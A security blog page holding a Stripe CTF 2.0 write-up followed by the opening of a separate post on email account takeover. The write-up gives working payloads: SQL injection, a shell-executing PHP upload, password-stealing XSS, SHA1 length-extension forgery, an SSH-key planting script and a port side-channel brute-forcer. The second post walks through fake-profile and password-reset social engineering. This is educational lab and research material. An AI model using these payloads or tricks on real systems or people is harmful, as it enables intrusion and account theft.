INSIGHTS | August 29, 2012

Stripe CTF 2.0 Write-Up

Hello, World!

I had the opportunity to play and complete the 2012 Stripe CTF 2.0 this weekend. I would have to say this was one of the most enjoyable CTF’s I’ve played by far.  They did an excellent job. I wanted to share with you a detailed write-up of the levels, why they’re vulnerable, and how to exploit them. It’s interesting to see how multiple people take different routes on problems, so I’ve included some of the solutions by Michael Milvich (IOActive), Ryan O’Horo(IOActive), Ryan Linn(Spiderlabs), as well as my own (Joseph Tartaro, IOActive).
I hope this write-up gives you guys the opportunity to learn something new or get a better understanding of how I  approached this CTF. I’ve included all the main source code that was available at the information page of each level, even if it was unnecessary, just so people could see it all if they were interested. If you have any further questions you should feel free to e-mail me at Joseph.Tartaro[at]ioactive[dot]com, or make a comment below.
Lets get started!
Level 0  –  SQL Injection
Level 1  –  Misuse of PHP Function on Untrusted Data
Level 2  –  File Upload Vulnerability
Level 3  –  SQL Injection
Level 4  –  XSS/XSRF
Level 5  –  Insecure Communication
Level 6  –  XSS/XSRF
Level 7  –  SHA1 Length-Extension Vulnerability
Level 8  –  Side Channel Attack
Source Code 

Level 0:

Welcome to Capture the Flag! If you find yourself stuck or want to learn more about web security in general, we’ve prepared a list of helpful resources for you. You can chat with fellow solvers in theCTF chatroom (also accessible in your favorite IRC client atirc://irc.stripe.com:+6697/ctf).
We’ll start you out with Level 0, the Secret Safe. The Secret Safe is designed as a secure place to store all of your secrets. It turns out that the password to access Level 1 is stored within the Secret Safe. If only you knew how to crack safes
You can access the Secret Safe at https://level00-2.stripe-ctf.com/user-juwcldvclk. The Safe’s code is included below, and can also be obtained via git clone https://level00-2.stripe-ctf.com/user-juwcldvclk/level00-code.

So quickly looking at the code, the main areas we’re interested in are right here ….

*SNIP*

sqlite3 = require('sqlite3'); // SQLite (database) driver

*SNIP*

  if (namespace) {
    var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';
    db.all(query, namespace, function(err, secrets) {
             if (err) throw err;

renderPage(res, {namespace: namespace, secrets: secrets});
});

We can see that it’s querying the SQL database with our user-supplied input. We also know that it is an sqlite3 database. When looking at the SQL statement, we can see that it’s using the LIKE operator, which happens to have a wildcard character (%). When we supply the wildcard character, it will respond with all the secrets in the database.

Level 1:

Excellent, you are now on Level 1, the Guessing Game. All you have to do is guess the combination correctly, and you’ll be given the password to access Level 2! We’ve been assured that this level has no security vulnerabilities in it (and the machine running the Guessing Game has no outbound network connectivity, meaning you wouldn’t be able to extract the password anyway), so you’ll probably just have to try all the possible combinations. Or will you…?
You can play the Guessing Game at https://level01-2.stripe-ctf.com/user-jkcftciszp. The code for the Game can be obtained fromgit clone https://level01-2.stripe-ctf.com/user-jkcftciszp/level01-code, and is also included below.
So quickly looking at the code, here’s the block we’re interested in….
    <?php
      $filename = 'secret-combination.txt';
      extract($_GET);
      if (isset($attempt)) {
        $combination = trim(file_get_contents($filename));
        if ($attempt === $combination) {
          echo "<p>How did you know the secret combination was" .
               " $combination!?</p>";
          $next = file_get_contents('level02-password.txt');
          echo "<p>You've earned the password to the access Level 2:" .
               " $next</p>";
        } else {
          echo "<p>Incorrect! The secret combination is not $attempt</p>";
        }
      }
    ?>
So let’s step through the code and see what’s happening:
    • creates $filename storing ‘secret-combination.txt’
    • extract $_GET (all GET parameters supplied by the user)
    • if $attempt is set:
    • declare $combination with the trim()’d contents of $filename
    • if $attempt and $combination are equal
      • print contents of ‘level02-password.txt’
    • else
      • print incorrect
So let’s look at what extract() is actually doing…

<br

>

int extract ( array &$var_array [, int $extract_type = EXTR_OVERWRITE [, string $prefix = NULL ]] )
Import variables from an array into the current symbol table.
Checks each key to see whether it has a valid variable name. It also checks for collisions with existing variables in the symbol table.
If  extract_type  is not specified, it is assumed to be  EXTR_OVERWRITE.
Well, look at that, they didn’t specify an extract_type, so by default it is EXTR_OVERWRITE, which is,  “If there is a collision, overwrite the existing variable.”
There was even a nice little warning for us,
Do not use extract() on untrusted data, like user input (i.e. $_GET$_FILES, etc.).
So now looking back at the code, we can see that they declare $filename before they use extract(), so this gives us the opportunity to create a collision and overwrite the existing variable with our GET parameters.

In simple terms, it will create variables depending on what you supply in your GET request. In this case we can see that our request /?attempt=SECRET creates a variable $attempt that stores the value “SECRET”, so we could also send ”/?attempt=SECRET&filename=random_file.txt”. The extract() will now overwrite their original $filename with our supplied value, ”random_file.txt”.

So what can we do to make these match? You see how $combination is storing the result of file_get_contents() for the $filename, then using trim() on it. If file_get_contents() returns false due to a file not existing, trim() will then return an empty string. So if we supply a file that does not exist and an empty $attempt, they will match…
So let’s supply:
/?attempt=&filename=file_that_does_not_exist.txt

Level 2:

You are now on Level 2, the Social Network. Excellent work so far! Social Networks are all the rage these days, so we decided to build one for CTF. Please fill out your profile at https://level02-2.stripe-ctf.com/user-alucnmpgjr. You may even be able to find the password for Level 3 by doing so.
The code for the Social Network can be obtained from git clone https://level02-2.stripe-ctf.com/user-alucnmpgjr/level02-code, and is also included below.
So, this one is pretty simple. The areas we’re interested in are:
*snip*

$dest_dir = "uploads/";

*snip*

<form action="" method="post" enctype="multipart/form-data">
   <input type="file" name="dispic" size="40" />
   <input type="submit" value="Upload!">
</form>
 
<p>
   Password for Level 3 (accessible only to members of the club):
   <a href="password.txt">password.txt</a>

 
*snip*
Looking at this, we have an ‘uploads’ directory that that we can access, and a form that we can use to upload images. They have no security in place to check for file-specific file extensions at all. Let’s try uploading a file, but not an image–a php script.
<?php
$output = shell_exec(‘cat ../password.txt’);
echo “<pre>$output</pre>”;
?>
Then just browse to the /uploads/ dir and click on your uploaded php file.

Level 3:

After the fiasco back in Level 0, management has decided to fortify the Secret Safe into an unbreakable solution (kind of like Unbreakable Linux). The resulting product is Secret Vault, which is so secure that it requires human intervention to add new secrets.
A beta version has launched with some interesting secrets (including the password to access Level 4); you can check it out athttps://level03-2.stripe-ctf.com/user-cmzqxoblip. As usual, you can fetch the code for the level (and some sample data) via git clone https://level03-2.stripe-ctf.com/user-cmzqxoblip/level03-code, or you can read the code below.

Ok, so let’s look at some important parts. We know it’s sqlite3 again and how it is setup:

# CREATE TABLE users (
#   id VARCHAR(255) PRIMARY KEY AUTOINCREMENT,
#   username VARCHAR(255),
#   password_hash VARCHAR(255),
#   salt VARCHAR(255)
# );
And
    query = """SELECT id, password_hash, salt FROM users
               WHERE username = '{0}' LIMIT 1""".format(username)
    cursor.execute(query)

res = cursor.fetchone()
if not res:
return There’s no such user {0}!n.format(username)
user_id, password_hash, salt = res

calculated_hash = hashlib.sha256(password + salt)
if calculated_hash.hexdigest() != password_hash:
return That’s not the password for {0}!n.format(username)

So we can see that the statement is using our supplied username, which has an SQL injection of course. They’re selecting the id, password_hash, and salt from users where the username equals our input. Let’s load up our own sample database, make some test queries and, see what happens….

sqlite> insert into users values (“myid”, “myusername”, “0be64ae89ddd24e225434de95d501711339baeee18f009ba9b4369af27d30d60”, “SUPER_SECRET_SALT”);
sqlite> select id, password_hash, salt FROM users where username = ‘myusername’;
myid|0be64ae89ddd24e225434de95d501711339baeee18f009ba9b4369af27d30d60|SUPER_SECRET_SALT
 So, let’s do a union select after and supply exactly what we would like back.
sqlite> select id, password_hash, salt FROM users where username = ‘myusername’ union select ‘new id’, ‘new hash’, ‘new salt’;
myid|0be64ae89ddd24e225434de95d501711339baeee18f009ba9b4369af27d30d60|SUPER_SECRET_SALT
new id|new hash|new salt

As you can see, by using a union select we can define in the content of the response. The ‘new id’, ‘new hash’, and ‘new salt’ was in our response. After looking at the code when it does the compare, we can see that it does a sha256(password + salt) and compares it to what was in the response for the sql statement.

Let’s supply our own hash and compare them to each other!
>>> import hashlib
>>> print hashlib.sha256(“lolpassword” + “lolsalt”).hexdigest()
dbb4061dc0dd72027d1c3a13b24f17b01fb163037211192c841a778fa2bba7d5
>>>
We just created our new sha256 hash with the salt ‘lolsalt’; let’s now submit our new hash injection into the SQL statement.

username: z’%20union%20select%20’1′,’dbb4061dc0dd72027d1c3a13b24f17b01fb163037211192c841a778fa2bba7d5′,’lolsalt

password:
lolpassword

The code will now take the password you submitted, hash it with the salt returned from the sql query, then compare it to the hash that was in the response (the salt and hashes that are in the response were the ones we supplied in our injection). This will lead to them matching and you receiving a message similar to this:
Welcome back! Your secret is: “The password to access level04 is: aZnRbEpSfX” (Log out)

Level 4:

The Karma Trader is the world’s best way to reward people for good deeds: https://level04-2.stripe-ctf.com/user-xjqcwqqyvp. You can sign up for an account, and start transferring karma to people who you think are doing good in the world. In order to ensure you’re transferring karma only to good people, transferring karma to a user will also reveal your password to him or her.
The very active user karma_fountain has infinite karma, making it a ripe account to obtain (no one will notice a few extra karma trades here and there). The password for karma_fountain‘s account will give you access to Level 5.
You can obtain the full, runnable source for the Karma Trader fromgit clone https://level04-2.stripe-ctf.com/user-xjqcwqqyvp/level04-code. We’ve included the most important files below.
This is a nice little XSS/XSRF challenge. The goal here is to get that karma_fountain to send you some karma, which in turn will let you view their password.
 When registering a new account, you can insert malicious code into the password field, which will then be displayed once you send someone karma because the application is designed to show users your password once they receive karma.
In this situation they’re including JQuery, so it makes our lives even easier when trying to make requests. The idea is to inject some malicious code into the karma_fountains page that will automatically make them transfer you some karma.
I went and created a new user named ‘whoop’ with the password:
‘<script>$.post(“transfer”, { to: “whoop”, amount: “2” } );</script>’
So, now that you can login, send some karma to the karma_fountain and wait… eventually the karma_fountain user will view their page and your injected code will force them to transfer karma to the user ‘whoop’.
Refresh your page until you can view karma fountain’s password on the right.

Level 5:

Many attempts have been made at creating a federated identity system for the web (see OpenID, for example). However, none of them have been successful. Until today.
The DomainAuthenticator is based off a novel protocol for establishing identities. To authenticate to a site, you simply provide it username, password, and pingback URL. The site posts your credentials to the pingback URL, which returns either “AUTHENTICATED” or “DENIED”. If “AUTHENTICATED”, the site considers you signed in as a user for the pingback domain.
You can check out the Stripe CTF DomainAuthenticator instance here:https://level05-1.stripe-ctf.com/user-qoqflihezv. We’ve been using it to distribute the password to access Level 6. If you could only somehow authenticate as a user of a level05 machine…
To avoid nefarious exploits, the machine hosting the DomainAuthenticator has very locked down network access. It can only make outbound requests to other stripe-ctf.com servers. Though, you’ve heard that someone forgot to internally firewall off the high ports from the Level 2 server.
Interesting in setting up your own DomainAuthenticator? You can grab the source from git clone https://level05-1.stripe-ctf.com/user-qoqflihezv/level05-code, or by reading on below.
So, this problem is just… insecure communication in general. There are a couple of issues here.
This  code block checks to see if it was a POST but doesn’t check if parameters supplied were on the GET or POST lines:
    post '/*' do
      pingback = params[:pingback]
      username = params[:username]
      password = params[:password]
This is an insecure way of checking if we’re Authenticated…
    def authenticated?(body)
      body =~ /[^w]AUTHENTICATED[^w]*$/
There are multiple ways of clearing this level…but Ryan O’Horo showed me his route, which was the cleanest one out of the four we tried. The whole idea is to get it to match the Authenticated regex, but on a host of level5-*.stripe-ctf.com
So…the easiest route….
POST /user-smrqjnvcis/?username=root&pingback=https://level05-1.stripe-ctf.com/user-smrqjnvcis/%3fpingback=http://level05-2.stripe-ctf.com/AUTHENTICATED%250A HTTP/1.1
The pingback URL contains a newline (%0A) so that the regular expression’s end-of-line marker matches after the word “AUTHENTICATED”, and it must be double-encoded as it’s nested in the original pingback parameter
This will make the application do a pingback on level05 host, but since we included http:// instead of https:// it gave a 302 redirect with the URL https://level05-2.stripe-ctf.com/AUTHENTICATED%250A . Which the application matched to the response containing the regex and authenticated the user.
I’m not going to bother showing the other routes some of us took… simply because I’m embarrassed that we made it so much harder on ourselves instead compared to the 1 request solution used by Ryan.

Level 6:

After Karma Trader from Level 4 was hit with massive karma inflation (purportedly due to someone flooding the market with massive quantities of karma), the site had to close its doors. All hope was not lost, however, since the technology was acquired by a real up-and-comer, Streamer. Streamer is the self-proclaimed most steamlined way of sharing updates with your friends. You can access your Streamer instance here: https://level06-2.stripe-ctf.com/user-bqdgqqeqqd
The Streamer engineers, realizing that security holes had led to the demise of Karma Trader, have greatly beefed up the security of their application. Which is really too bad, because you’ve learned that the holder of the password to access Level 7, level07-password-holder, is the first Streamer user.
As well, level07-password-holder is taking a lot of precautions: his or her computer has no network access besides the Streamer server itself, and his or her password is a complicated mess, including quotes and apostrophes and the like.
Fortunately for you, the Streamer engineers have decided to open-source their application so that other people can run their own Streamer instances. You can obtain the source for Streamer at git clone https://level06-2.stripe-ctf.com/user-bqdgqqeqqd/level06-code. We’ve also included the most important files below.
 
Ok, so in this level we’re dealing with a unique social network. We have to find a way to view the other user’s user_info page to see their password. If you started posting some of your own posts you would find that it is susceptible to Cross-Site Scripting. So we need to find a way to get the user to view their user_info page, and then post the results so that we can view them.
We are limited to not using the single-quote and double-quote characters (‘ and “), but everything else is pretty much legal, so we can take use of JavaScript’s String.fromCharCode() and once again JQuery! We’ll have to break out of their script tags, then inject our code, but we also need to make sure the code doesn’t launch until the entire page has been loaded. They have a csrf token, but it’s poorly implemented, seeing that we can use the current JavaScript code that’s already on the page. Another issue that you will run into is that the results from the user_info page have characters that are not allowed, so we will escape() the data response before posting it. Here’s the payload that I used before String.fromCharCode:
</script><script>$(document).ready(function() {$.get(‘user_info’, function(data) {document.forms[0].body.value = escape(data); document.forms[0].submit();})});</script><script>//
And here it is after….
</script><script>$(document).ready(function() {eval(String.fromCharCode(36,46,103,101,116,40,39,117,115,101,114,95,105,110,102,111,39,44,32,102,117,110,99,116,105,111,110,40,100,97,116,97,41,32,123,100,111,99,117,109,101,110,116,46,102,111,114,109,115,91,48,93,46,98,111,100,121,46,118,97,108,117,101,32,61,32,101,115,99,97,112,101,40,100,97,116,97,41,59,32,100,111,99,117,109,101,110,116,46,102,111,114,109,115,91,48,93,46,115,117,98,109,105,116,40,41,59,125,41))});</script><script>//
We can now wait and watch posts being created–you can simply keep an eye on /ajax/posts so that your XSS won’t also hit yourself. You’ll soon see a new post by the Level7 user that consists of a huge block of URL-encoded characters. Go ahead and decode them and you’ll see something like…

Level 7:

 
Welcome to the penultimate level, Level 7.
WaffleCopter is a new service delivering locally-sourced organic waffles hot off of vintage waffle irons straight to your location using quad-rotor GPS-enabled helicopters. The service is modeled after TacoCopter, an innovative and highly successful early contender in the airborne food delivery industry. WaffleCopter is currently being tested in private beta in select locations.
Your goal is to order one of the decadent Liège Waffles, offered only to WaffleCopter’s first premium subscribers.
Log in to your account at https://level07-2.stripe-ctf.com/user-dsccixwxvo with username ctf and password password. You will find your API credentials after logging in. You can fetch the code for the level via
git clone https://level07-2.stripe-ctf.com/user-dsccixwxvo/level07-code, or you can read it below. You may find the sample API client in client.py particularly helpful.
This level was a slight twist, you’ll actually be doing an attack on their crypto. Looking at the code you’ll see that they’re using SHA1 hashes that are composed of the raw request that you made plus your secret. We also need to be making a request as a premium user. If you attempted to order a waffle, you’ll receive a confirmation number–in this case if you order the premium waffle, the confirmation number will be your password to Level8.
Here is the block of code that verifies the signature… this is how we know how it is built and that it is sha1
def verify_signature(user_id, sig, raw_params):
    # get secret token for user_id
    try:
        row = g.db.select_one('users', {'id': user_id})
    except db.NotFound:
        raise BadSignature('no such user_id')
    secret = str(row['secret'])

h = hashlib.sha1()
h.update(secret + raw_params)
print computed signature, h.hexdigest(), for body, repr(raw_params)
if h.hexdigest() != sig:
raise BadSignature(signature does not match)
return True

Researching on SHA1 we can see that it has a length-extension attack vulnerability, a type of attack on certain hashes which allow inclusion of extra information. There’s excellent documentation that describes this attack in the Flickr API Signature Forgery Vulnerability write-up. There’s also a nice script and write-up about it at vnsecurity by RD, about how he solved a similar CodeGate 2010 challenge. For my solution I used the script that was supplied on vnsecurity to solve this problem. Since we know what the raw request will be, and we know the length of the secret (14), we can append stuff to the raw request and generate a valid hash. So looking at the /logs/ directory, we can also view other users requests… in this case we’re interested in premium users, so id 1 or 2.
This is a request that was made by user_id 1:
count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo|sig:a75edb45bc6c0057e059b23bc48b84f7081a798f
As you can see, we have the raw request and the final hash… let’s append to this and generate a new valid hash, but ordering  a different waffle.
droogie$ python sha-padding.py ’14’ ‘count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo’ ‘a75edb45bc6c0057e059b23bc48b84f7081a798f’ ‘&waffle=liege’
new msg: ‘count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggox80x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x02(&waffle=liege’
base64: Y291bnQ9MTAmbGF0PTM3LjM1MSZ1c2VyX2lkPTEmbG9uZz0tMTE5LjgyNyZ3YWZmbGU9ZWdnb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIoJndhZmZsZT1saWVnZQ==
new sig: 4c230b26a20f192c4a258f529662d3dd0ad8b62d
And here we are… the script has supplied the correct amount of padding needed and gave us the raw required and a valid hash… let’s go ahead and make the request using a simple python script….
droogie$ cat post.py
import urllib
import urllib2
url = ‘https://level07-2.stripe-ctf.com/user-dsccixwxvo/orders’
data = ‘count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggox80x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x02(&waffle=liege|sig:4c230b26a20f192c4a258f529662d3dd0ad8b62d’
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
print response.read()
droogie$ python post.py
{“confirm_code”: “BdxavaMIKC“, “message”: “Great news: 10 liege waffles will soon be flying your way!”, “success”: true}

Level 8:

Welcome to the final level, Level 8.
HINT 1: No, really, we’re not looking for a timing attack.
HINT 2: Running the server locally is probably a good place to start. Anything interesting in the output?
UPDATE: If you push the reset button for Level 8, you will be moved to a different Level 8 machine, and the value of your Flag will change. If you push the reset button on Level 2, you will be bounced to a new Level 2 machine, but the value of your Flag won’t change.
Because password theft has become such a rampant problem, a security firm has decided to create PasswordDB, a new and secure way of storing and validating passwords. You’ve recently learned that the Flag itself is protected in a PasswordDB instance, accesible athttps://level08-1.stripe-ctf.com/user-eojzgklshq/.
PasswordDB exposes a simple JSON API. You just POST a payload of the form {"password": "password-to-check", "webhooks": ["mysite.com:3000", ...]} to PasswordDB, which will respond with a{"success": true}" or {"success": false}" to you and your specified webhook endpoints.
(For example, try running curl https://level08-1.stripe-ctf.com/user-eojzgklshq/ -d '{"password": "password-to-check", "webhooks": []}'.)
In PasswordDB, the password is never stored in a single location or process, making it the bane of attackers’ respective existences. Instead, the password is “chunked” across multiple processes, called “chunk servers”. These may live on the same machine as the HTTP-accepting “primary server”, or for added security may live on a different machine. PasswordDB comes with built-in security features such as timing attack prevention and protection against using unequitable amounts of CPU time (relative to other PasswordDB instances on the same machine).
As a secure cherry on top, the machine hosting the primary server has very locked down network access. It can only make outbound requests to other stripe-ctf.com servers. As you learned in Level 5, someone forgot to internally firewall off the high ports from the Level 2 server. (It’s almost like someone on the inside is helping you — there’s an sshd running on the Level 2 server as well.)
To maximize adoption, usability is also a goal of PasswordDB. Hence a launcher script, password_db_launcher, has been created for the express purpose of securing the Flag. It validates that your password looks like a valid Flag and automatically spins up 4 chunk servers and a primary server.
You can obtain the code for PasswordDB from git clone https://level08-1.stripe-ctf.com/user-eojzgklshq/level08-code, or simply read the source below.

This level seems to be a little involved, but it’s easy to understand once you see what it is doing. There is a primary server, and when you launch it you supply it a 12 digit password and a socket to listen on. It will break the password up into 4 chunks of 3 characters each and spawn 4 chunk servers. Each chunk server will have a chunk from the primary and all of your requests will be compared to it. The primary server can then receive requests from you with a password. It will chunk up the supplied password and check with the chunk servers; if it receives TRUE on all 4 it will respond with TRUE, but FALSE on any of them and you’ll get a FALSE. Your goal is to figure out what is the 12 digit password that was supplied to the primary server on startup. When making a request to the primary server you can also supply it with a webhook, where it will send the response to whichever socket you supplied.

There’s a major issue here with their design….
If we bruteforce the 12 digit password, we would be looking at this many attempts:
>>> 10**12
1000000000000
If we bruteforce the chunks, we’re looking at a total of this many:
>>> 10**3*4
4000
Or only a maximum of 1000 attempts per chunk. They’ve just significantly lowered their security if there is any possible way we can tell if a chunk was correct or not, which there is of course 😉
Since the network is so locked down, we can’t actually touch the chunk servers themselves… if we could, we would just bruteforce each chunk and this challenge would be very simple… so we have to find another way to bruteforce each chunk. We also can’t try a timing attack because the developers have implemented some delays on responses to avoid this.
Well one thing we can do is get on the local network so that we can get responses from Level8, using Level2 as the description suggested.
Let’s go ahead and create a local ssh key we can use, then upload it to the Level2 server using that file upload vulnerability.
<?php
mkdir(“../../.ssh”);
$h = fopen(“../../.ssh/authorized_keys”, “w+”);
fwrite($h,”ssh-rsa (MYSECRETLOCALSSHKEY)nn”);
fclose($h);
print “DONE!n”;
?>
Cool, now we can ssh into this box:
Linux leveltwo3.ctf-1.stripe-ctf.com 2.6.32-347-ec2 #52-Ubuntu SMP Fri Jul 27 14:38:36 UTC 2012 x86_64 GNU/Linux
Ubuntu 10.04.4 LTS
Welcome to Ubuntu!
 * Documentation:  https://help.ubuntu.com/
Last login: Mon Aug 27 03:45:20 2012 from cpe-174-097-161-152.nc.res.rr.com
groups: cannot find name for group ID 4334
user-wsotctjptv@leveltwo3:~$
At this point we can create sockets and receive responses from the primary server through our webhook parameters. We’ll be able to take advantage of this and use it as a side channel attack to validate if our requests were true or false. We’ll do this by keeping track of the connections to our socket and their srcport. By default, most operating systems are lazy and will use the last srcport + 1 on a connection… so with an invalid request we know that the difference between source ports would be 2… connection to chunk server 1, then back to us with the response. But if our first chunk happened to be successful it would make a request to chunk server 1, then chunk server 2, then us… so if we are able to make an attempt multiple times and see a difference of 3 in the srcports, we know that it was a valid chunk. We can obviously repeat this process and keep track of the differences to verify the first 3 chunks, then we can just bruteforce the last chunk manually. Here’s a python script written by my co-worker Michael which does just that….

#!/usr/bin/env python

import socket
import urllib2
import json
import sys

try:
import argparse
parser = argparse.ArgumentParser()
parser.add_argument(“–port”, default=49567, type=int, help=”Which port to listen for incoming connections on”)
parser.add_argument(“targetURL”, help=”The URL of the targed primary server”)
parser.add_argument(“webhooksHost”, help=”Where the primary server should connect back for the webhooks”)
args = parser.parse_args()
except ImportError:
# level02 server doesn’t have argparse… grrr
class args(object):
port = 49567
targetURL = sys.argv[1]
webhooksHost = sys.argv[2]

def password_gen(length, prefix=””, charset=”1234567890″):
def gen(length, charset):
if length == 0:
yield “”
else:
for ch in charset:
for pw in gen(length – 1, charset):
yield pw + ch

for pw in gen(length – len(prefix), charset):
yield prefix + pw

def do_webhooks_connectback():
c_sock, addr  = webhook_sock.accept()
c_sock.recv(1000)
c_sock.send(“HTTP/1.0 200rnrn”)
c_sock.close()
return addr[1]

def do_auth_request(password):
print “Trying password:”, password
r = urllib2.urlopen(args.targetURL, json.dumps({“password”:password, “webhooks”:webhook_hosts}))
port = do_webhooks_connectback()
result = json.loads(r.read())

print “Connect back Port:”, port

if result[“success”]:
print “Found the password!!!”
print result
sys.exit(0)
else:
return port

def calc_chunk_servers_for_password(password):
# we need to figure out what the “current” port is, so make a request that will fail
base_port = do_auth_request(“aaa”)
# figure out what the last port number is
final_port = do_auth_request(password)
# we should be able to tell how many chunk servers it talked too
return (final_port – base_port) – 1

# create the listen socket
webhook_sock = socket.socket()
webhook_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
webhook_sock.bind((“”, args.port))
webhook_sock.listen(100)

webhook_hosts = [“%s:%d” % (args.webhooksHost, args.port)]

# We can guess our password by calculating how many TCP connections the primary server has
# made before connecting to our webhook. The more connections the server has made,
# the more chunks that we have correct.

prefix = “”
curr_chunk = 1

while True:
for pw in password_gen(12, prefix):
found_chunk = True
for i in xrange(10):
num_servers = calc_chunk_servers_for_password(pw)
print “Num Servers:”, num_servers
if num_servers == curr_chunk:
# incorrect password
found_chunk = False
break
elif num_servers > curr_chunk:
# we may have figured out a chunk… but someone else may have just made a request
# so we will just try again
continue
elif num_servers < 0:
# ran out of ports and we restarted the port range
continue
else:
# somehow we regressed… abort!
print “[!!!!] Hmmm… somehow we ended up talking to fewer servers than before…”
sys.exit(-1)
if found_chunk:
# ok, we are fairly confident that we have found the next password chunk
prefix = pw[:curr_chunk * 3] # assuming 4 chunk servers, with 3 chars each… TODO: should calc this
curr_chunk += 1
print “[!] Found chunk:”, prefix
break

INSIGHTS | August 17, 2012

One Mail to Rule Them All

This small research project was conducted over a four-week period a while back, so current methods may differ as password restoration methods change.

While writing this blog post, the Gizmodo writer Mat Honan’s account was hacked with some clever social engineering that ultimately brought numerous small bits and pieces of information together into one big chunk of usable data. The downfall in all this is that different services use different alternative methods to reset passwords: some have you enter the last four digits of your credit card and some would like to know your mother’s maiden name; however, the attacks described here differ a bit, but the implications are just as devastating.
For everything we do online today we need an identity, a way to be contacted. You register on some forum because you need an answer, even if it’s just once and just to read that answer. Afterwards, you have an account there, forcing you to trust the service provider. You register on Facebook, LinkedIn, and Twitter; some of you use online banking services, dating sites, and online shopping. There’s a saying that all roads lead to Rome? Well, the big knot in this thread is—you guessed it—your email address.

 

Normal working people might have 1-2 email addresses: a work email that belongs to the company and a private one that belongs to the user. Perhaps the private one is one of the popular web-based email services like Gmail or Hotmail. To break it down a bit, all the sensitive info in your email should be stored in a secure vault, home, or in a bank because it’s important information that, in an attackers hand, could turn your life into a nightmare.

 

I live in a EU country where our social security numbers aren’t considered information worthy of protecting and can be obtained by anyone. Yes, I know—it’s a huge risk. But in some cases you need some form of identification to pick up the sent package. Still, I consider this a huge risk.

 

Physically, I use paper destroyers when I’ve filed a paper and then put it in my safe. I destroy the remnants of important stuff I have read. Unfortunately, storing personal data in your email is easy, convenient, and honestly, how often do you DELETE emails anyway? And if you do, are you deleting them from the trash right away? In addition, there’s so much disk space that you don’t have to care anymore. Lovely.

 

So, you set your email account at the free hosting service and you have to select a password. Everybody nags nowadays to have a secure and strong password. Let’s use 03L1ttl3&bunn13s00!—that’s strong, good, and quite easy to remember. Now for the secure question. Where was your mother born? What’s your pets name? What’s your grandparent’s profession? Most people pick one and fill it out.

 

Well, in my profession security is defined by the weakest link; in this case disregarding human error and focusing on the email alone. This IS the weakest link. How easy can this be? I wanted to dive in to how my friends and family have set theirs up, and how easy it is to find this information, either by goggling it or doing a social engineering attack. This is 2012, people should be smarter…right? So with mutual agreement obtained between myself, friends, and family, this experiment is about to begin.

 

A lot of my friends and former colleagues have had their identities stolen over the past two years, and there’s a huge increase. This has affected some of them to the extent that they can’t take out loans without going through a huge hassle. And it’s not often a case that gets to court, even with a huge amount of evidence including video recordings of the attackers claiming to be them, picking up packages at the local postal offices. 
Why? There’s just too much area to cover, and less man power and competence to handle it. The victims need to file a complaint, and use the case number and a copy of the complaint; and fax this around to all the places where stuff was ordered in their name. That means blacklisting themselves in their system, so if they ever want to shop there again, you can imagine the hassle of un-blacklisting yourself then trying to prove that you are really you this time.

 

A good friend of mine was hiking in Thailand and someone got access to his email, which included all his sensitive data: travel bookings, bus passes, flights, hotel reservations. The attacker even sent a couple of emails and replies, just to be funny; he then canceled the hotel reservations, car transportations, airplane tickets, and some of the hiking guides. A couple days later he was supposed to go on a small jungle hike—just him, his camera, and a guide—the guide never showed up, nor did his transportation to the next location. 
Thanks a lot. Sure, it could have been worse, but imagine being stranded in a jungle somewhere in Thailand with no Internet. He also had to make a couple of very expensive phone calls, ultimately abort his photography travel vacation, and head on home.

 

One of my best friends uses Gmail, like many others. While trying a password restore on that one, I found an old Hotmail address, too. Why? When I asked him about it afterwards, he said he had his Hotmail account for about eight years, so it’s pretty nested in with everything and his thought was, why remove it? It could be good to go back and find old funny stuff, and things you might forget. He’s not keen to security and he doesn’t remember that there is a secret question set. So I need that email.
Lets use his Facebook profile as a public attacker would—it came out empty, darn; he must be hiding his email. However, his friends are displayed. Let’s make a fake profile based on one of his older friends—the target I chose was a girl he had gone to school with. How do I know that? She was publicly sharing a photo of them in high school. Awesome. Fake profile ready, almost identical to the girl, same photo as hers, et cetera. And Friend Request Sent.
A lot of email vendors and public boards such as Facebook have started to implement phone verification, which is a good thing. Right? So I decided to play a small side experiment with my locked mobile phone.
I choose a dating site that has this feature enabled then set up an account with mobile phone verification and an alternative email. I log out and click Forgot password? I enter my username or email, “IOACasanova2000,” click and two options pop up: mobile phone or alternative email. My phone is locked and lying on the table. I choose phone. Send. My phone vibrates and I take a look at the display:  From “Unnamed Datingsite” “ZUGA22”. That’s all I need to know to reset the password.
Imagine if someone steals or even lends your phone at a party. Or if you’re sloppy enough to leave in on a table. I don’t need your pin—at least not for that dating site.What can you do to protect yourself from this?   Edit the settings so the preview shows less of the message. My phone shows three lines of every SMS; that’s way too much. However, on some brands you can disable SMS notifications from showing up on a locked screen.
From my screen i got a instant; Friend Request Accepted.
I quickly check my friend’s profile and see:
hismainHYPERLINK “mailto:hismaingmail@gmail.com”GmailHYPERLINK “mailto:hismaingmail@gmail.com”@HYPERLINK “mailto:hismaingmail@gmail.com”GmailHYPERLINK “mailto:hismaingmail@gmail.com”.com
hishotmail@hotmail.com

 

I had a dog, and his name was BINGO! Hotmail dot com and password reset.
hishotmail@hotmail.com

 

The anti bot algorithm… done…
And the Secret question is active…
“What’s your mother’s maiden name”…

 

I already know that, but since I need to be an attacker, I quickly check his Facebook, which shows his mother’s maiden name! I type that into Hotmail and click OK….

 

New Password: this1sAsecret!123$

 

I’m half way there….

 

